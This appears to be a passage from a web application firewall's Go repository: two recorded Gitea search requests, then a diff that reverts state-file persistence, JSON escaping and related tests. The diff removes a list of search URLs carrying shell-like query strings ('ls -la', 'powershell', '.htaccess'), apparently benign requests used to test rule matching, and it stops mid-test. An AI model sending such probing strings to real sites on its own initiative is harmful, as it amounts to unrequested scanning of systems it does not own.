{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
@@ -91,17 +91,6 @@
|
|||||||
/explore/organizations?q=docker-ci
|
/explore/organizations?q=docker-ci
|
||||||
/api/v1/users/search?q=docker-ci
|
/api/v1/users/search?q=docker-ci
|
||||||
|
|
||||||
# Searches of the repositories on a user's and an organisation's page, recorded
|
|
||||||
# from gitea 1.27.3.
|
|
||||||
/alice?tab=repositories&q=ls+-la&sort=recentupdate
|
|
||||||
/alice?tab=repositories&q=python3&sort=recentupdate
|
|
||||||
/alice?tab=repositories&q=powershell&sort=recentupdate
|
|
||||||
/alice?tab=repositories&q=.htaccess&sort=recentupdate
|
|
||||||
/acme?q=ls+-la&sort=recentupdate
|
|
||||||
/acme?q=python3&sort=recentupdate
|
|
||||||
/acme?q=powershell&sort=recentupdate
|
|
||||||
/acme?q=.htaccess&sort=recentupdate
|
|
||||||
|
|
||||||
# Pages, raw files and edit pages of files, and the API's call for their
|
# Pages, raw files and edit pages of files, and the API's call for their
|
||||||
# contents.
|
# contents.
|
||||||
/owner/repo/src/branch/main/package.json
|
/owner/repo/src/branch/main/package.json
|
||||||
|
|||||||
+10
-12
@@ -120,19 +120,17 @@ func New(topN int, instanceName string) *Metrics {
|
|||||||
"went on without it, because GeoJS had not given it in time.",
|
"went on without it, because GeoJS had not given it in time.",
|
||||||
}),
|
}),
|
||||||
stateFileWrites: counterVec("sww_state_file_writes_total",
|
stateFileWrites: counterVec("sww_state_file_writes_total",
|
||||||
"Writes of each state or cache file.", byFile),
|
"Writes of each state file.", byFile),
|
||||||
stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
|
stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
|
||||||
"Writes of each state or cache file that failed.", byFile),
|
"Writes of each state file that failed.", byFile),
|
||||||
stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
|
stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
|
||||||
"When each state or cache file was last written, in seconds since 1970.",
|
"When each state file was last written, in seconds since 1970.", byFile),
|
||||||
byFile),
|
|
||||||
stateFileSize: gaugeVec("sww_state_file_size_bytes",
|
stateFileSize: gaugeVec("sww_state_file_size_bytes",
|
||||||
"The size of each state or cache file, as it was last written.", byFile),
|
"The size of each state file, as it was last written.", byFile),
|
||||||
stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
|
stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
|
||||||
"Edits of each state or cache file taken in while running.", byFile),
|
"Edits of each state file taken in while running.", byFile),
|
||||||
stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
|
stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
|
||||||
"Edits of each state or cache file renamed to <name>.bad because they "+
|
"Edits of each state file renamed to <name>.bad because they did not parse.",
|
||||||
"did not parse.",
|
|
||||||
byFile),
|
byFile),
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -449,8 +447,8 @@ func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
|||||||
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
||||||
}
|
}
|
||||||
|
|
||||||
// StateFileWritten counts a write of the state or cache file name, of size
|
// StateFileWritten counts a write of the state file name, of size bytes,
|
||||||
// bytes, that ended with err.
|
// that ended with err.
|
||||||
func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
||||||
m.stateFileWrites.WithLabelValues(name).Inc()
|
m.stateFileWrites.WithLabelValues(name).Inc()
|
||||||
|
|
||||||
@@ -468,13 +466,13 @@ func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
|||||||
m.stateFileSize.WithLabelValues(name).Set(float64(size))
|
m.stateFileSize.WithLabelValues(name).Set(float64(size))
|
||||||
}
|
}
|
||||||
|
|
||||||
// StateFileEditTakenIn counts an admin's edit of the state or cache file name
|
// StateFileEditTakenIn counts an admin's edit of the state file name
|
||||||
// taken in while sww runs.
|
// taken in while sww runs.
|
||||||
func (m *Metrics) StateFileEditTakenIn(name string) {
|
func (m *Metrics) StateFileEditTakenIn(name string) {
|
||||||
m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
|
m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
|
||||||
}
|
}
|
||||||
|
|
||||||
// StateFileEditSetAside counts an admin's edit of the state or cache file name
|
// StateFileEditSetAside counts an admin's edit of the state file name
|
||||||
// renamed to name.bad because it did not parse.
|
// renamed to name.bad because it did not parse.
|
||||||
func (m *Metrics) StateFileEditSetAside(name string) {
|
func (m *Metrics) StateFileEditSetAside(name string) {
|
||||||
m.stateFileEditsSetAside.WithLabelValues(name).Inc()
|
m.stateFileEditsSetAside.WithLabelValues(name).Inc()
|
||||||
|
|||||||
@@ -45,7 +45,7 @@ type Score struct {
|
|||||||
Fetched time.Time `json:"fetched"`
|
Fetched time.Time `json:"fetched"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// ChecksSpent is what abuseipdb-checks-spent.json keeps of the checks of
|
// ChecksSpent is what abuseipdb-checks.json keeps of the checks of
|
||||||
// clients with AbuseIPDB: the day, in UTC, of the checks Spent counts,
|
// clients with AbuseIPDB: the day, in UTC, of the checks Spent counts,
|
||||||
// zero before the first.
|
// zero before the first.
|
||||||
type ChecksSpent struct {
|
type ChecksSpent struct {
|
||||||
@@ -238,8 +238,8 @@ func (a *AbuseIPDB) Load(scores []Score) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ChecksSpent returns the checks spent, as abuseipdb-checks-spent.json
|
// ChecksSpent returns the checks spent, as abuseipdb-checks.json keeps
|
||||||
// keeps them.
|
// them.
|
||||||
func (a *AbuseIPDB) ChecksSpent() ChecksSpent {
|
func (a *AbuseIPDB) ChecksSpent() ChecksSpent {
|
||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
defer a.mu.Unlock()
|
defer a.mu.Unlock()
|
||||||
@@ -247,8 +247,8 @@ func (a *AbuseIPDB) ChecksSpent() ChecksSpent {
|
|||||||
return ChecksSpent{Day: a.day, Spent: a.spent}
|
return ChecksSpent{Day: a.day, Spent: a.spent}
|
||||||
}
|
}
|
||||||
|
|
||||||
// LoadChecksSpent keeps checks, read from abuseipdb-checks-spent.json, in
|
// LoadChecksSpent keeps checks, read from abuseipdb-checks.json, in place
|
||||||
// place of the checks spent.
|
// of the checks spent.
|
||||||
func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
|
func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
|
||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
defer a.mu.Unlock()
|
defer a.mu.Unlock()
|
||||||
|
|||||||
@@ -181,8 +181,8 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Restarted with what abuseipdb-scores.json and
|
// Restarted with what abuseipdb-scores.json and
|
||||||
// abuseipdb-checks-spent.json keep, it uses the scores, and checks
|
// abuseipdb-checks.json keep, it uses the scores, and checks no
|
||||||
// no client until the day ends.
|
// client until the day ends.
|
||||||
restarted := &abuseIPDBStandIn{}
|
restarted := &abuseIPDBStandIn{}
|
||||||
again := newAbuseIPDB(restarted, p)
|
again := newAbuseIPDB(restarted, p)
|
||||||
again.Load(checker.Snapshot())
|
again.Load(checker.Snapshot())
|
||||||
|
|||||||
@@ -5,7 +5,6 @@
|
|||||||
package requestlog
|
package requestlog
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
@@ -253,20 +252,14 @@ func WriteRProxyLine(w io.Writer, line *RProxyLine) error {
|
|||||||
return writeJSONLine(w, line)
|
return writeJSONLine(w, line)
|
||||||
}
|
}
|
||||||
|
|
||||||
// writeJSONLine writes line to w as one JSON line. It writes "&", "<" and
|
// writeJSONLine writes line to w as one JSON line.
|
||||||
// ">" as they are, so a query string reads as it was sent.
|
|
||||||
func writeJSONLine(w io.Writer, line any) error {
|
func writeJSONLine(w io.Writer, line any) error {
|
||||||
var encoded bytes.Buffer
|
encoded, err := json.Marshal(line)
|
||||||
|
|
||||||
encoder := json.NewEncoder(&encoded)
|
|
||||||
encoder.SetEscapeHTML(false)
|
|
||||||
|
|
||||||
err := encoder.Encode(line)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("encode the request log line: %w", err)
|
return fmt.Errorf("encode the request log line: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
_, err = w.Write(encoded.Bytes())
|
_, err = w.Write(append(encoded, '\n'))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("write the request log line: %w", err)
|
return fmt.Errorf("write the request log line: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -67,44 +67,6 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
var out bytes.Buffer
|
|
||||||
|
|
||||||
err := requestlog.Write(&out, &requestlog.Line{
|
|
||||||
Query: "a=1&b=<2>",
|
|
||||||
Referer: "https://example.com/?x=1&y=<2>",
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("write: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
err = requestlog.WriteRProxyLine(&out, &requestlog.RProxyLine{Query: "a=1&b=<2>"})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("write the rproxy line: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
lines := strings.Split(strings.TrimSuffix(out.String(), "\n"), "\n")
|
|
||||||
if len(lines) != 2 {
|
|
||||||
t.Fatalf("wrote %q, want two lines", out.String())
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, line := range lines {
|
|
||||||
if !json.Valid([]byte(line)) {
|
|
||||||
t.Errorf("%s is not valid JSON", line)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !strings.Contains(line, `"query":"a=1&b=<2>"`) {
|
|
||||||
t.Errorf("%s does not hold the query as sent", line)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if !strings.Contains(lines[0], `"referer":"https://example.com/?x=1&y=<2>"`) {
|
|
||||||
t.Errorf("%s does not hold the referer as sent", lines[0])
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
|
func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,6 @@
|
|||||||
// Package routewatch asks a routewatch instance about client addresses, in the
|
// Package routewatch asks a routewatch instance about client addresses, in the
|
||||||
// background, and keeps its answers. A routewatch instance knows, for an
|
// background, and keeps its answers in memory. A routewatch instance knows, for
|
||||||
// address, the netblock it is announced in and the AS that originates it. The
|
// an address, the netblock it is announced in and the AS that originates it.
|
||||||
// answers are kept in memory, for at most 100,000 clients and for an hour each,
|
|
||||||
// and are written to routewatch.json and read from it by the state package.
|
|
||||||
package routewatch
|
package routewatch
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -15,7 +13,6 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -68,17 +65,6 @@ type Route struct {
|
|||||||
ASN uint32
|
ASN uint32
|
||||||
}
|
}
|
||||||
|
|
||||||
// Answer is what routewatch answered about a client, as routewatch.json holds
|
|
||||||
// it: the netblock the client's address is announced in, none for an address
|
|
||||||
// without a live route, the AS that originates it, and when routewatch
|
|
||||||
// answered.
|
|
||||||
type Answer struct {
|
|
||||||
Client netip.Prefix `json:"client"`
|
|
||||||
Netblock netip.Prefix `json:"netblock"`
|
|
||||||
ASN uint32 `json:"asn"`
|
|
||||||
Answered time.Time `json:"answered"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
|
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
|
||||||
@@ -98,16 +84,23 @@ type Client struct {
|
|||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
// answers are by client. Each is added as it comes and never moved up,
|
// answers are by client. Each is added as it comes and never moved up,
|
||||||
// so that the one that came longest ago is the first dropped.
|
// so that the one that came longest ago is the first dropped.
|
||||||
answers *simplelru.LRU[netip.Prefix, Answer]
|
answers *simplelru.LRU[netip.Prefix, answer]
|
||||||
// asking are the clients whose query is under way.
|
// asking are the clients whose query is under way.
|
||||||
asking map[netip.Prefix]bool
|
asking map[netip.Prefix]bool
|
||||||
// retryAt is when routewatch may be asked again after a query failed.
|
// retryAt is when routewatch may be asked again after a query failed.
|
||||||
retryAt time.Time
|
retryAt time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// answer is one kept answer: the route, or why there is none, and when it came.
|
||||||
|
type answer struct {
|
||||||
|
route Route
|
||||||
|
missing Missing
|
||||||
|
came time.Time
|
||||||
|
}
|
||||||
|
|
||||||
// New returns a Client with no answer yet.
|
// New returns a Client with no answer yet.
|
||||||
func New(params Params) *Client {
|
func New(params Params) *Client {
|
||||||
answers, err := simplelru.NewLRU[netip.Prefix, Answer](maxAnswers, nil)
|
answers, err := simplelru.NewLRU[netip.Prefix, answer](maxAnswers, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
panic(err) // NewLRU fails only for a size below one
|
panic(err) // NewLRU fails only for a size below one
|
||||||
}
|
}
|
||||||
@@ -135,12 +128,8 @@ func (c *Client) Route(
|
|||||||
now := c.params.Now()
|
now := c.params.Now()
|
||||||
|
|
||||||
kept, found := c.answers.Peek(client)
|
kept, found := c.answers.Peek(client)
|
||||||
if found && now.Sub(kept.Answered) < answerKept {
|
if found && now.Sub(kept.came) < answerKept {
|
||||||
if !kept.Netblock.IsValid() {
|
return kept.route, kept.missing
|
||||||
return Route{}, NoRoute
|
|
||||||
}
|
|
||||||
|
|
||||||
return Route{Netblock: kept.Netblock, ASN: kept.ASN}, ""
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if now.Before(c.retryAt) {
|
if now.Before(c.retryAt) {
|
||||||
@@ -156,58 +145,12 @@ func (c *Client) Route(
|
|||||||
return Route{}, NoAnswerYet
|
return Route{}, NoAnswerYet
|
||||||
}
|
}
|
||||||
|
|
||||||
// Snapshot returns every answer still in use, sorted by client, as
|
|
||||||
// routewatch.json lists them.
|
|
||||||
func (c *Client) Snapshot() []Answer {
|
|
||||||
c.mu.Lock()
|
|
||||||
|
|
||||||
now := c.params.Now()
|
|
||||||
answers := make([]Answer, 0, c.answers.Len())
|
|
||||||
|
|
||||||
for _, kept := range c.answers.Values() {
|
|
||||||
if now.Sub(kept.Answered) < answerKept {
|
|
||||||
answers = append(answers, kept)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
c.mu.Unlock()
|
|
||||||
|
|
||||||
slices.SortFunc(answers, func(a, b Answer) int {
|
|
||||||
return a.Client.Compare(b.Client)
|
|
||||||
})
|
|
||||||
|
|
||||||
return answers
|
|
||||||
}
|
|
||||||
|
|
||||||
// Load keeps answers, read from routewatch.json, in place of those it keeps,
|
|
||||||
// but for those that came answerKept ago or more and, past maxAnswers, those
|
|
||||||
// that came longest ago.
|
|
||||||
func (c *Client) Load(answers []Answer) {
|
|
||||||
answers = slices.Clone(answers)
|
|
||||||
slices.SortStableFunc(answers, func(a, b Answer) int {
|
|
||||||
return a.Answered.Compare(b.Answered)
|
|
||||||
})
|
|
||||||
|
|
||||||
c.mu.Lock()
|
|
||||||
defer c.mu.Unlock()
|
|
||||||
|
|
||||||
c.answers.Purge()
|
|
||||||
|
|
||||||
now := c.params.Now()
|
|
||||||
|
|
||||||
for _, kept := range answers {
|
|
||||||
if now.Sub(kept.Answered) < answerKept {
|
|
||||||
c.answers.Add(kept.Client, kept)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ask asks routewatch about addr, keeps the answer as client's, and notes the
|
// ask asks routewatch about addr, keeps the answer as client's, and notes the
|
||||||
// query as no longer under way. A query that fails gives no answer, and
|
// query as no longer under way. A query that fails gives no answer, and
|
||||||
// routewatch is not asked again for failureKept. Only the first failure of
|
// routewatch is not asked again for failureKept. Only the first failure of
|
||||||
// those under way is logged.
|
// those under way is logged.
|
||||||
func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
|
func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
|
||||||
route, err := c.query(ctx, addr)
|
route, missing, err := c.query(ctx, addr)
|
||||||
now := c.params.Now()
|
now := c.params.Now()
|
||||||
|
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
@@ -217,9 +160,7 @@ func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr)
|
|||||||
firstFailure := err != nil && !now.Before(c.retryAt)
|
firstFailure := err != nil && !now.Before(c.retryAt)
|
||||||
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
c.answers.Add(client, Answer{
|
c.answers.Add(client, answer{route: route, missing: missing, came: now})
|
||||||
Client: client, Netblock: route.Netblock, ASN: route.ASN, Answered: now,
|
|
||||||
})
|
|
||||||
} else {
|
} else {
|
||||||
c.retryAt = now.Add(failureKept)
|
c.retryAt = now.Add(failureKept)
|
||||||
}
|
}
|
||||||
@@ -233,19 +174,19 @@ func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr)
|
|||||||
|
|
||||||
// query asks routewatch's IP info API about addr. An answer other than 200, one
|
// query asks routewatch's IP info API about addr. An answer other than 200, one
|
||||||
// that cannot be read, and none within queryTimeout, fail. A result with no
|
// that cannot be read, and none within queryTimeout, fail. A result with no
|
||||||
// netblock is an address without a live route, and gives a Route without one.
|
// netblock is an address without a live route.
|
||||||
func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
|
func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, queryTimeout)
|
ctx, cancel := context.WithTimeout(ctx, queryTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
endpoint, err := url.JoinPath(c.params.URL, "api/v1/ip", addr.String())
|
endpoint, err := url.JoinPath(c.params.URL, "api/v1/ip", addr.String())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, fmt.Errorf("make the URL: %w", err)
|
return Route{}, "", fmt.Errorf("make the URL: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
|
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, fmt.Errorf("make the request: %w", err)
|
return Route{}, "", fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
req.Header.Set("Accept", "application/json")
|
req.Header.Set("Accept", "application/json")
|
||||||
@@ -254,7 +195,7 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
// Do's error names the URL, which holds the client's address, which
|
// Do's error names the URL, which holds the client's address, which
|
||||||
// is not to be logged: only what went wrong is kept.
|
// is not to be logged: only what went wrong is kept.
|
||||||
return Route{}, fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
|
return Route{}, "", fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
|
||||||
}
|
}
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
@@ -262,14 +203,14 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
|
|||||||
}()
|
}()
|
||||||
|
|
||||||
if res.StatusCode != http.StatusOK {
|
if res.StatusCode != http.StatusOK {
|
||||||
return Route{}, fmt.Errorf("%w %s", errStatus, res.Status)
|
return Route{}, "", fmt.Errorf("%w %s", errStatus, res.Status)
|
||||||
}
|
}
|
||||||
|
|
||||||
return readAnswer(io.LimitReader(res.Body, maxAnswerBytes))
|
return readAnswer(io.LimitReader(res.Body, maxAnswerBytes))
|
||||||
}
|
}
|
||||||
|
|
||||||
// readAnswer reads routewatch's answer about one address.
|
// readAnswer reads routewatch's answer about one address.
|
||||||
func readAnswer(body io.Reader) (Route, error) {
|
func readAnswer(body io.Reader) (Route, Missing, error) {
|
||||||
var decoded struct {
|
var decoded struct {
|
||||||
Data struct {
|
Data struct {
|
||||||
Results []struct {
|
Results []struct {
|
||||||
@@ -281,22 +222,22 @@ func readAnswer(body io.Reader) (Route, error) {
|
|||||||
|
|
||||||
err := json.NewDecoder(body).Decode(&decoded)
|
err := json.NewDecoder(body).Decode(&decoded)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, fmt.Errorf("read the answer: %w", err)
|
return Route{}, "", fmt.Errorf("read the answer: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(decoded.Data.Results) == 0 {
|
if len(decoded.Data.Results) == 0 {
|
||||||
return Route{}, errNoResult
|
return Route{}, "", errNoResult
|
||||||
}
|
}
|
||||||
|
|
||||||
result := decoded.Data.Results[0]
|
result := decoded.Data.Results[0]
|
||||||
if result.Netblock == "" {
|
if result.Netblock == "" {
|
||||||
return Route{}, nil
|
return Route{}, NoRoute, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
netblock, err := netip.ParsePrefix(result.Netblock)
|
netblock, err := netip.ParsePrefix(result.Netblock)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
|
return Route{}, "", fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
|
||||||
}
|
}
|
||||||
|
|
||||||
return Route{Netblock: netblock.Masked(), ASN: result.ASN}, nil
|
return Route{Netblock: netblock.Masked(), ASN: result.ASN}, "", nil
|
||||||
}
|
}
|
||||||
@@ -7,12 +7,10 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"slices"
|
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
"testing"
|
"testing"
|
||||||
"testing/synctest"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/routewatch"
|
"sneak.berlin/go/smallwebwaf/internal/routewatch"
|
||||||
@@ -115,28 +113,6 @@ func answering(body string) http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// silentURL is where a routewatch that never answers is: a query to it waits,
|
|
||||||
// without the network, until it is abandoned. TestMain registers it with Go's
|
|
||||||
// default transport, through which the Client asks.
|
|
||||||
const silentURL = "silent://routewatch/"
|
|
||||||
|
|
||||||
func TestMain(m *testing.M) {
|
|
||||||
transport, _ := http.DefaultTransport.(*http.Transport)
|
|
||||||
transport.RegisterProtocol("silent", silentRoutewatch{})
|
|
||||||
|
|
||||||
m.Run()
|
|
||||||
}
|
|
||||||
|
|
||||||
// silentRoutewatch is the routewatch at silentURL.
|
|
||||||
type silentRoutewatch struct{}
|
|
||||||
|
|
||||||
// RoundTrip waits until req is abandoned.
|
|
||||||
func (silentRoutewatch) RoundTrip(req *http.Request) (*http.Response, error) {
|
|
||||||
<-req.Context().Done()
|
|
||||||
|
|
||||||
return nil, req.Context().Err()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (f *fixture) route() (routewatch.Route, routewatch.Missing) {
|
func (f *fixture) route() (routewatch.Route, routewatch.Missing) {
|
||||||
addr := netip.MustParseAddr(clientAddr)
|
addr := netip.MustParseAddr(clientAddr)
|
||||||
client := netip.PrefixFrom(addr, addr.BitLen())
|
client := netip.PrefixFrom(addr, addr.BitLen())
|
||||||
@@ -311,29 +287,20 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
|
|||||||
func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
|
func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// In a synctest bubble, time passes only while every goroutine in it waits,
|
f := newFixture(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||||
// so Route's wait is measured exactly, however busy the host is. routewatch
|
<-r.Context().Done()
|
||||||
// is the one at silentURL: one reached over the network would keep the
|
|
||||||
// bubble's clock from moving.
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
// Without newFixture's stand-in, which is reached over the network.
|
|
||||||
f := &fixture{t: t, log: &syncBuffer{}}
|
|
||||||
f.client = routewatch.New(routewatch.Params{
|
|
||||||
URL: silentURL, Now: time.Now,
|
|
||||||
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
|
|
||||||
})
|
})
|
||||||
|
|
||||||
began := time.Now()
|
start := time.Now()
|
||||||
_, missing := f.route()
|
|
||||||
|
|
||||||
if waited := time.Since(began); missing != routewatch.NoAnswerYet || waited != 0 {
|
f.route()
|
||||||
t.Errorf("Route gave %q after %s while routewatch hangs, want %q at once",
|
|
||||||
missing, waited, routewatch.NoAnswerYet)
|
if elapsed := time.Since(start); elapsed > time.Second {
|
||||||
|
t.Errorf("Route took %s while routewatch hangs", elapsed)
|
||||||
}
|
}
|
||||||
|
|
||||||
f.waitFor(routewatch.RequestFailed)
|
f.waitFor(routewatch.RequestFailed)
|
||||||
f.wantFailureLoggedWithoutTheClient()
|
f.wantFailureLoggedWithoutTheClient()
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
||||||
@@ -369,96 +336,3 @@ func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
|||||||
t.Errorf("%d queries after the answer expired, want 2", got)
|
t.Errorf("%d queries after the answer expired, want 2", got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestSnapshotHoldsTheAnswerUntilItExpires(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
f := newFixture(t, answering(routedAnswer))
|
|
||||||
|
|
||||||
f.route()
|
|
||||||
f.waitFor("")
|
|
||||||
|
|
||||||
want := []routewatch.Answer{{
|
|
||||||
Client: netip.MustParsePrefix(clientAddr + "/32"),
|
|
||||||
Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
|
|
||||||
Answered: f.clk.Now(),
|
|
||||||
}}
|
|
||||||
if got := f.client.Snapshot(); !slices.Equal(got, want) {
|
|
||||||
t.Errorf("snapshot %+v, want %+v", got, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
f.clk.advance(time.Hour)
|
|
||||||
|
|
||||||
if got := f.client.Snapshot(); len(got) != 0 {
|
|
||||||
t.Errorf("snapshot %+v an hour after the answer, want none", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
f := newFixture(t, answering(routedAnswer))
|
|
||||||
now := f.clk.Now()
|
|
||||||
kept := routewatch.Answer{
|
|
||||||
Client: netip.MustParsePrefix(clientAddr + "/32"),
|
|
||||||
Netblock: netip.MustParsePrefix("198.51.100.0/24"), ASN: 64497,
|
|
||||||
Answered: now.Add(-time.Hour + time.Second),
|
|
||||||
}
|
|
||||||
stale := routewatch.Answer{
|
|
||||||
Client: netip.MustParsePrefix("192.0.2.2/32"),
|
|
||||||
